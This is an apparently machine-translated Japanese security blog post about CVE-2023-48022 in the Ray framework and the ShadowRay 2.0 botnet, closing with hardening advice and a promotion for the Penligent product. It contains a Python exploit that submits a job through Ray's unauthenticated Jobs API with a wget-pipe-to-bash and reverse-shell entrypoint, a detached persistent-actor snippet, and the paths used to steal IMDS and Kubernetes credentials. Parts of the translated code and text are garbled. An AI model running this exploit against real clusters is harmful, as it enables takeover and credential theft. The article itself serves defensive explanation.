時は2026年。AI産業は実験的なチャットボットから、重要なインフラを管理する自律エージェントへと成熟した。しかし、世界最先端のAI企業のサーバーファームやKubernetesクラスタには、過去からの亡霊が取り憑いている: CVE-2023-48022.
この重大な脆弱性(CVSS 9.8)は2023年末に公表された。 レイフレームワーク-オープンAI、ウーバー、アマゾンが採用している分散コンピューティング標準は、解決済みの問題であるはずだった。しかし、2025年後半に爆発的に普及した シャドーレイ2.0 ボットネットはそうでないことを証明した。何万ものGPUクラスタが、クリプトマイニングのためだけでなく、高度なデータ流出や分散型サービス拒否(DDoS)攻撃のために、ゾンビネットワークに静かに徴用されていたのだ。
エリートAIセキュリティ・エンジニアにとって、CVE-2023-48022は単なるバグではない。 "デザインによる不安" この脆弱性は、AI開発におけるオープンな研究文化と、現代のインターネットにおける敵対的な現実との衝突を象徴している。この記事では、脆弱性のフォレンジック分析を行い、ShadowRay 2.0の進化した手口を解剖し、レガシースキャンがAIコンピュート基盤の保護に失敗する理由を概説する。

脆弱性としての機能」のアーキテクチャ
CVE-2023-48022が死滅しない理由を理解するには、Rayの哲学を理解しなければならない。Rayは、信頼できるイントラネットでスピードと使いやすさを追求して作られた。
欠点:
重要なハードニングが行われる前のバージョンでは(そして最新のデプロイメントが誤って設定された場合)、Ray DashboardとJobs APIは、認証メカニズムなしでデフォルトで0.0.0.0:8265にバインドされます。
Rayの開発元であるAnyscale社は当初、Rayは厳格なネットワーク境界内で実行されることを意図していると主張し、CVE割り当てに異議を唱えていた。この「ハード外殻」防御モデルへの依存は、開発者が遠隔監視のためにRayダッシュボードをインターネットに公開し始めたり、攻撃者が内部ピボットするためにサーバーサイドリクエストフォージェリ(SSRF)を利用したりしたときに崩壊した。
アタックサーフェスの分解
この脆弱性により、攻撃者はシンプルなHTTP APIを介してRayクラスタを完全に制御できる。メモリ破壊も、競合状態も、複雑なヒープ風水も必要ない。
攻撃プリミティブ
- エントリーポイント ジョブズAPI (
/api/jobs/). - メカニズム このAPIは、クラスタのワーカーノード上で実行される任意のPythonコードやシェルコマンドの提出を可能にする。
- 特権: レイプロセスはしばしば
ルートDockerコンテナ内、または高特権のIAMロールを使って、データセットを含むS3バケットにアクセスする。
テクニカル・リプレイシャドーレイのキルチェーン
ShadowRay 2.0アクターが使用するエクスプロイト・ロジックを再構築してみよう。これは単純な カール コマンドを使用して、それらがどのように持続的な制御をオーケストレーションしているかを示す。
第1段階:偵察とフィンガープリンティング
攻撃者は特にTCPポートをスキャンする 8265.をクエリすることでサービスをフィンガープリントする。 /api/バージョン あるいは、レイ・ダッシュボードの特徴的なHTMLタイトルを探す。
フェーズ2:武器化(パイソンジョブ提出)
攻撃者は、"Job Submitter "として動作するPythonスクリプトを構築する。このスクリプトはターゲットのAPIと相互作用し、悪意のあるタスクを生成する。
パイソン
インポート リクエスト インポート json インポート sys

ターゲット初段またはSSRFで発見された露出したレイクラスタ
TARGET_IP = "http://target-cluster.ai:8265“
def exploit_cluster(target): url = f"{target}/api/jobs/"
# ペイロード:多段階bashスクリプト
# 1.永続化:隠された cron ジョブか systemd サービスを作る。
# 2.回避:競合マイナーを殺す
# 3.接続:C2へのリバース・シェル
entrypoint_cmd = (
"wget -qO- | bash && "
"export OMP_NUM_THREADS=1 && "
"python3 -c 'import socket,os,pty;s=socket.socket();...' "
)
ペイロード = {
"entrypoint": entrypoint_cmd、
"submission_id":「optimization_task_v4", # ソーシャルエンジニアリング:合法的な仕事のように見せる
"runtime_env":{
"working_dir":"/tmp"、
"pip":["requests"、"boto3"] # エクスフィルトレーション用のツールをプリインストールする。
},
"メタデータ":{
"user":「root」、
"description":"システムヘルスチェック"
}
}
try:
print(f"[*] ペイロードを{ターゲット}に送信中...")
resp = requests.post(url, json=payload, timeout=10)
if resp.status_code == 200:
job_id = resp.json().get('job_id')
print(f"[+] 搾取に成功しました。 ジョブ ID: {job_id}")
print(f"[+] クラスタはあなたのコントロール下にあります。")
else:
print(f"[-] 失敗しました: {resp.status_code} - {resp.text}")
except Exception as e:
print(f"[!] エラー: {e}")
もし 名称 == “メイン": exploit_cluster(TARGET_IP)`。
第3段階:ID窃盗による横移動
ワーカーノードでコードが実行されると、スクリプトは インスタンス・メタデータ・サービス(IMDS) クラウド認証情報を盗む。
- AWSだ: クエリー
http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ロールのキーを盗む。 - Kubernetes: 読む
/var/run/secrets/kubernetes.io/serviceaccount/token.
AIトレーニングの仕事は膨大なデータセットにアクセスする必要があるため、これらの資格はしばしば以下のようなものである。 S3フルアクセス 攻撃者は、(数百万ドル相当の)独自モデルの流出や、トレーニングデータの不正入手を可能にする。
シャドーレイ2.0パーシステンスの進化
2025年後半に観測された「2.0」の亜種は、新しい持続性メカニズムを導入した: 別役者たち.
Rayでは、「アクター」はステートフルなワーカープロセスである。攻撃者は、ジョブのライフサイクルから切り離すように設計された悪意のあるアクターを配備します。セキュリティチームがダッシュボードに表示された特定の「ジョブ」を停止しても、アクター・プロセスはバックグラウンドで生き続け、リソースを消費し、C2リンクを維持します。
パイソン
#概念的悪意あるアクター @ray.remote クラス ShadowActor: def 開始(self): self.c2_connection = setup_c2()
def keep_alive(self):
真の間
#マイニングまたは流出ロジック
process_data()
time.sleep(1)
独立したアクターとして配備 - 解雇を免れる
actor = ShadowActor.options(name="system_optimizer", lifetime="detached").remote()`。
影のAI」問題と検出の失敗
高価なファイアウォールを導入しているにもかかわらず、なぜCVE-2023-48022の被害に遭うのか?その答えは シャドーAI.
データサイエンティストやMLエンジニアは、実験のために一時的なクラスタをスピンアップするために、ITコントロールをバイパスすることがよくある。彼らはTerraformスクリプトやGitHubからコピーしたHelmチャートを使用し、デバッグを容易にするためにダッシュボードをデフォルトで公開する。これらの "シャドークラスター "は、中央のITインベントリや従来の脆弱性スキャナ(このスキャナがスキャンするのは、ITインベントリや従来の脆弱性スキャナ)からは見えない。 192.168.1.0/24 しかし、エンジニアが作成した刹那的なVPCは見逃す)。
さらに、従来のスキャナーは、以下の点をチェックしていた。 ソフトウェアバージョン.エンジニアが古い安定したDockerイメージを使ってRayクラスタをスピンアップした場合(例. rayproject/ray:2.8.0)が論文を再現すると、即座に脆弱になる。
AI主導のディフェンス過失によるアプローチ
ShadowRayを防御するには、静的スキャンだけでは不十分です。 ダイナミック・アセット・ディスカバリー そして 行動分析学.
そこで ペンリジェント はAIインフラの防御態勢を変える。
1.シャドウ・エステートのマッピング
Penligentのエージェントは、クラウドAPI(AWS、Azure、GCP)やKubernetesクラスタと統合し、継続的なアセットディスカバリを実行します。Penligentのエージェントは、クラウドAPI(AWS、Azure、GCP、Kubernetesクラスタ)と統合し、継続的な資産の発見を行います。これにより、「Shadow AI」サーフェスが明らかになります。
2.積極的で安全な検証
Penligentは、バナーの取り込み(偽装可能)に頼る代わりに、次のことを実行します。 安全なアクティブ検証.を単純に計算するジョブを投入するなど、善良なペイロードを使用してジョブズAPIとの対話を試みます。 1 + 1 またはランダムな文字列をエコーする。
- 成功すれば: 誤検知ゼロでRCEリスクを確認し、SOCに直ちに警告を発する。
- 安全だ: ワームとは異なり、Penligentのプローブはシステムの状態を変更したり、永続性をインストールしたり、データを流出させたりはしない。
3.コンピュート・シグネチャにおける異常検知
Penligentは、正規のトレーニングワークロードのベースラインを確立します。ShadowRay感染には明確なフィンガープリントがあります:
- ネットワーク マイニングプールや未知のIP(C2)への予期せぬアウトバウンド接続。
- 計算する: スケジュールされたトレーニングジョブと相関しないCPU/GPU使用率のスパイク。
- プロセス 珍しい貝の産卵 (
/bin/bash,カール,ウィジェット)をRayワーカープロセスツリーから削除します。
2026年の防衛戦略:コンピュート基盤のハード化
CVE-2023-48022とその後継からインフラを保護するために、以下のハードコア・コントロールを実装してください:
- ゼロ・トラスト・ネットワーキング Ray Dashboard を絶対に公共のインターネットに公開しないでください。アクセスは、安全なBastionホスト、VPN、またはCloudflare AccessやAWS Verified AccessのようなIAP(Identity-Aware Proxy)を介して仲介する必要があります。
- 認証を強制する(相互TLS): レイは現在、基本的な認証をサポートしているが、ゴールドスタンダードは エムティーエルエス.すべてのクラスタ内およびクライアントサーバ間の通信にクライアント証明書を要求するようにRayを設定する。
- 名前空間の分離: Rayクラスタを専用のKubernetesネームスペースで厳密に実行する。
ネットワークポリシー.ホワイトリストされたS3バケットとモデル登録(Hugging Face)以外のすべてのイグジットトラフィックを拒否する。IMDSへのアクセスをブロックする(169.254.169.254). - 不変のインフラ: 攻撃者がツールをダウンロードしたり、ディスク上に永続性を確立したりするのを防ぐため、Ray ワーカーコンテナには読み取り専用のルートファイルシステムを使用する。
結論
CVE-2023-48022 これは単なる脆弱性ではなく、業界がセキュリティ・アーキテクチャを犠牲にしてまでAIの導入を急いでいることの表れである。分散型コンピューティングへの依存度が高まるにつれ、「ネットワーク・バウンダリー」はもはや十分な防御策ではなくなっている。
ShadowRay 2.0キャンペーンは、攻撃者がこのようなオープンドアを積極的に狙っていることを証明しています。セキュリティ・エンジニアは、ゾンビ・ボットネットの次のノードになる前に、PenligentのようなAI駆動型ツールを活用して、コンピュート資産を継続的に発見し、テストし、強化する「侵害を想定する」メンタリティを採用しなければならない。

